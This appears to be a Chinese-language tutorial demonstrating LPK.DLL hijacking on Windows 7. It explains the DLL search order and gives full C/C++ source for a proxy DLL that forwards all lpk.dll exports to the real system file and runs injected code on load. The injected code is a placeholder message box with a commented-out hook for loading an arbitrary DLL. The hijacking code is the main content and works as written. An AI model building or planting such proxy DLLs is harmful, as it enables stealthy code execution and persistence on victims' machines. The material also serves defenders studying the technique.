系统:Windows 7 32bit
工具:FileCleaner2.0 和 lpk.dll
利用Window可以先加载当前目录下的dll特性,仿造系统的LPK.DLL,让应用程序先加载我们的伪LPK.DLL,然后在我们的dll中去调用原来系统的原函数.
引用网络中的原理讲解
●背景知识●
首先我们要了解Windows为什么可以DLL劫持呢?主要是因为Windows的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的系统目录中,如kernel32.dll,这样能够方便找到。但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。可以看到记事本加载了c:\Windows\system32\LPK.DLL。
●什么是DLL劫持●
根据前面说的Windows资源共享机制,操作系统加载程序首先从应用程序目录中加载模块。这一特性在注册表中也有体现:HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,如果为1,搜索的顺序为:应用程序所在目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->运行程序的当前目录->PATH环境变量,如果为0,搜索顺序为:应用程序所在目录->运行程序的当前目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->PATH环境变量。Windows Server 2003默认值为1,Windows XP/2000默认值为0或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的DLL。如果这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,并且将导出表转发到那个真实的DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的DLL,再将其放在可执行文件的目录即可轻松实现DLL劫持了。
●DLL劫持的实现●
这一步我们的工作就是通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下:
1、构造一个与系统目录下LPK.DLL一样的导出表;
2、加载系统目录下的LPK.DLL;
3、将导出函数转发到系统目录下的LPK.DLL上;
4、在初始化函数中加入我们要执行的代码。
实现伪造的LPK.DLL
//
// LPK.DLL劫持注入源码
//
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 头文件
#include "stdafx.h"
#include
#include
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
//#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 宏定义
#define EXTERNC extern "C"
#define NAKED __declspec(naked)
#define EXPORT __declspec(dllexport)
#define ALCPP EXPORT NAKED
#define ALSTD EXTERNC EXPORT NAKED void __stdcall
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall
#define ALCDECL EXTERNC NAKED void __cdecl
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//LpkEditControl导出的是数组,不是单一的函数(by Backer)
EXTERNC void __cdecl AheadLib_LpkEditControl(void);
EXTERNC __declspec(dllexport) void(*LpkEditControl[14])() = { AheadLib_LpkEditControl };
////////////////////////////////////////////////////////////////////////////////////////////////
//添加全局变量
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// AheadLib 命名空间
namespace AheadLib
{
HMODULE m_hModule = NULL; // 原始模块句柄
// 加载原始模块
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
TCHAR tzTemp[MAX_PATH * 2];
GetSystemDirectory(tzPath, MAX_PATH);
lstrcat(tzPath, TEXT("\\lpk.dll"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
{
wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
};
//MessageBox(NULL, "原始模块加载成功", TEXT("AheadLib"), MB_ICONSTOP);
return (m_hModule != NULL);
}
// 释放原始模块
inline VOID WINAPI Free()
{
if (m_hModule)
{
FreeLibrary(m_hModule);
}
}
// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
TCHAR tzTemp[MAX_PATH];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintfA(szProcName, "%d", pszProcName);
pszProcName = szProcName;
}
wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace AheadLib;
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
//函数声明
void WINAPIV InitInject(LPVOID pParam);
//自己添加功能的函数
void WINAPIV InitInject(LPVOID pParam)
{
//在这里可以添加自己的DLL
//LoadLibrary(TEXT(".\\MyDll.dll"));
MessageBox(NULL, TEXT("LPK劫持成功"), TEXT("警告"),NULL);
return;
}
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if (Load())
{
//LpkEditControl这个数组有14个成员,必须将其复制过来
memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);
_beginthread(InitInject, NULL, NULL);//创建新线程实现自己的功能
}
else {
// MessageBox(NULL, "初始化失败", "123 ERROR", MB_ICONSTOP);
return FALSE;
}
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_LpkInitialize(void)
{
GetAddress("LpkInitialize");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_LpkTabbedTextOut(void)
{
GetAddress("LpkTabbedTextOut");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_LpkDllInitialize(void)
{
GetAddress("LpkDllInitialize");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_LpkDrawTextEx(void)
{
GetAddress("LpkDrawTextEx");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_LpkEditControl(void)
{
GetAddress("LpkEditControl");
__asm jmp DWORD ptr[EAX];//这里的LpkEditControl是数组,eax存的是函数指针
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_LpkExtTextOut(void)
{
GetAddress("LpkExtTextOut");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_LpkGetCharacterPlacement(void)
{
GetAddress("LpkGetCharacterPlacement");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
{
GetAddress("LpkGetTextExtentExPoint");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_LpkPSMTextOut(void)
{
GetAddress("LpkPSMTextOut");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_LpkUseGDIWidthCache(void)
{
GetAddress("LpkUseGDIWidthCache");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 导出函数
ALCDECL AheadLib_ftsWordBreak(void)
{
GetAddress("ftsWordBreak");
__asm JMP EAX;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
如图:
查看我们伪造的LPK.DLL导出表,与系统原来的一样
运行程序后先加载了我们伪造的LPK.DLL,程序被劫持
从模块列表中也可以看到,既加载了我们伪造的LPK.DLL,也加载了系统的lpk.dll